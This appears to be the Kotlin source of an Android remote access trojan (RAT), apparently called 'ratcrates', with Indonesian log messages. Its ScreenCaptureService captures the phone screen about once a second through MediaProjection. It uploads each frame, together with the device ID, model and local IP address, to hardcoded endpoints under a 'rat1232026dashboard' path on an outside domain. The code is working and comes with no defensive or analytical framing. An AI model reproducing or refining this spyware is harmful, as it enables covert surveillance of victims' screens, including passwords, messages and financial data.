package com.example.ratcrates import android.app.* import android.content.Context import android.content.Intent import android.graphics.Bitmap import android.graphics.PixelFormat import android.hardware.display.DisplayManager import android.hardware.display.VirtualDisplay import android.media.ImageReader import android.media.projection.MediaProjection import android.media.projection.MediaProjectionManager import android.os.Build import android.os.Handler import android.os.Looper import android.os.IBinder import android.util.Log import androidx.core.app.NotificationCompat import kotlinx.coroutines.* import okhttp3.* import okhttp3.MediaType.Companion.toMediaTypeOrNull import okhttp3.RequestBody.Companion.toRequestBody import java.io.ByteArrayOutputStream import java.net.Inet4Address import java.net.NetworkInterface class ScreenCaptureService : Service() { companion object { var dataIntent: Intent? = null var resultCode: Int = 0 const val TAG = "ScreenCaptureService" const val SERVER_URL = "https://undangmu.com/rat1232026dashboard/screen_upload.php" const val DASHBOARD_URL = "https://undangmu.com/rat1232026dashboard/index.php" const val NOTIF_ID = 777 const val CHANNEL_ID = "capture_stable" } private val deviceId by lazy { DeviceIdentity.get(this) } private val serviceScope = CoroutineScope(Dispatchers.Default + SupervisorJob()) private var projection: MediaProjection? = null private var virtualDisplay: VirtualDisplay? = null private var imageReader: ImageReader? = null private val client = OkHttpClient() private var lastUploadTime = 0L private val minUploadInterval = 1000L // 1 FPS — paling stabil private var ipSent = false private var starting = false override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { if (starting) return START_NOT_STICKY if (dataIntent == null) { Log.e(TAG, "dataIntent NULL — stopSelf()") stopSelf() return START_NOT_STICKY } starting = true startForegroundNotification() startProjection() return START_NOT_STICKY } private fun startProjection() { serviceScope.launch { val mgr = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager var retry = 0 while (projection == null && retry < 10) { try { projection = mgr.getMediaProjection(resultCode, dataIntent!!) } catch (e: Exception) { Log.e(TAG, "Projection retry $retry", e) } retry++ delay(400) } if (projection == null) { Log.e(TAG, "Projection FAILED — stop service") stopSelf() return@launch } if (!ipSent) { sendDeviceIp() ipSent = true } initImageReader() initVirtualDisplay() startCaptureLoop() } } private fun getDeviceIp(): String { try { val interfaces = NetworkInterface.getNetworkInterfaces() while (interfaces.hasMoreElements()) { val networkInterface = interfaces.nextElement() if (networkInterface.isLoopback || !networkInterface.isUp) continue val addresses = networkInterface.inetAddresses while (addresses.hasMoreElements()) { val addr = addresses.nextElement() if (addr is Inet4Address && !addr.isLoopbackAddress) { return addr.hostAddress ?: "0.0.0.0" } } } } catch (e: Exception) { Log.e(TAG, "getDeviceIp ERROR", e) } return "0.0.0.0" } private fun sendDeviceIp() { try { val ipAddress = getDeviceIp() Log.d(TAG, "Device IP: $ipAddress") val body = MultipartBody.Builder() .setType(MultipartBody.FORM) .addFormDataPart("device", deviceId) .addFormDataPart("device_name", "${Build.MANUFACTURER} ${Build.MODEL}") .addFormDataPart("ip", ipAddress) .build() val req = Request.Builder() .url(DASHBOARD_URL) .post(body) .build() client.newCall(req).execute().use { Log.d(TAG, "IP sent: ${it.code}") } } catch (e: Exception) { Log.e(TAG, "sendDeviceIp ERROR", e) } } private fun initImageReader() { try { val metrics = resources.displayMetrics imageReader?.close() imageReader = ImageReader.newInstance( metrics.widthPixels, metrics.heightPixels, PixelFormat.RGBA_8888, 5 ) Log.d(TAG, "ImageReader: ${metrics.widthPixels}x${metrics.heightPixels}") } catch (e: Exception) { Log.e(TAG, "initImageReader ERROR", e) } } private fun initVirtualDisplay() { try { val metrics = resources.displayMetrics virtualDisplay?.release() projection?.registerCallback(object : MediaProjection.Callback() { override fun onStop() { Log.w(TAG, "Projection stopped") virtualDisplay?.release() virtualDisplay = null stopSelf() } }, Handler(Looper.getMainLooper())) virtualDisplay = projection?.createVirtualDisplay( "StableScreen", metrics.widthPixels, metrics.heightPixels, metrics.densityDpi, DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR, imageReader?.surface, null, null ) if (virtualDisplay == null) { Log.e(TAG, "VirtualDisplay GAGAL") } else { Log.d(TAG, "VirtualDisplay OK: ${metrics.widthPixels}x${metrics.heightPixels}") } } catch (e: Exception) { Log.e(TAG, "initVirtualDisplay ERROR", e) } } private fun startCaptureLoop() { serviceScope.launch { if (virtualDisplay == null) { Log.e(TAG, "VirtualDisplay null — stop") return@launch } while (isActive) { try { val image = imageReader?.acquireLatestImage() if (image == null) { delay(minUploadInterval) continue } // Copy pixel row-by-row (paling stabil, handle stride) val bmp = try { val w = image.width val h = image.height val plane = image.planes[0] val buffer = plane.buffer val pixelStride = plane.pixelStride val rowStride = plane.rowStride val pixels = IntArray(w * h) val rowBytes = ByteArray(rowStride) for (row in 0 until h) { buffer.position(row * rowStride) buffer.get(rowBytes, 0, (w - 1) * pixelStride + 4) for (col in 0 until w) { val i = col * pixelStride val r = rowBytes[i].toInt() and 0xFF val g = rowBytes[i + 1].toInt() and 0xFF val b = rowBytes[i + 2].toInt() and 0xFF val a = rowBytes[i + 3].toInt() and 0xFF pixels[row * w + col] = (a shl 24) or (r shl 16) or (g shl 8) or b } } Bitmap.createBitmap(pixels, w, h, Bitmap.Config.ARGB_8888) } finally { image.close() } val now = System.currentTimeMillis() if (now - lastUploadTime >= minUploadInterval) { lastUploadTime = now withContext(Dispatchers.IO) { uploadScreenshot(bmp) } } else { bmp.recycle() } delay(minUploadInterval) } catch (e: Exception) { Log.e(TAG, "Loop error", e) delay(1000) } } } } private fun uploadScreenshot(bitmap: Bitmap) { try { val baos = ByteArrayOutputStream() bitmap.compress(Bitmap.CompressFormat.JPEG, 40, baos) bitmap.recycle() val body = MultipartBody.Builder() .setType(MultipartBody.FORM) .addFormDataPart("device", deviceId) .addFormDataPart("device_name", "${Build.MANUFACTURER} ${Build.MODEL}") .addFormDataPart("ip", getDeviceIp()) .addFormDataPart( "screenshot", "$deviceId.jpg", baos.toByteArray().toRequestBody("image/jpeg".toMediaTypeOrNull()) ) .build() val req = Request.Builder() .url(SERVER_URL) .post(body) .build() client.newCall(req).execute().use { if (!it.isSuccessful || it.body?.string()?.trim() != "OK") { Log.e(TAG, "Upload ditolak server: HTTP ${it.code}; periksa URL dan izin folder uploads") } } } catch (e: Exception) { Log.e(TAG, "Upload error", e) } } private fun startForegroundNotification() { val notif = NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Screen Capture Active") .setContentText("Running...") .setSmallIcon(android.R.drawable.ic_menu_view) .setOngoing(true) .build() if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { val channel = NotificationChannel( CHANNEL_ID, "Screen Capture", NotificationManager.IMPORTANCE_LOW ) getSystemService(NotificationManager::class.java).createNotificationChannel(channel) } startForeground(NOTIF_ID, notif) } override fun onDestroy() { super.onDestroy() Log.e(TAG, "SERVICE DESTROYED") dataIntent = null resultCode = 0 serviceScope.cancel() virtualDisplay?.release() projection?.stop() imageReader?.close() } override fun onBind(intent: Intent?): IBinder? = null }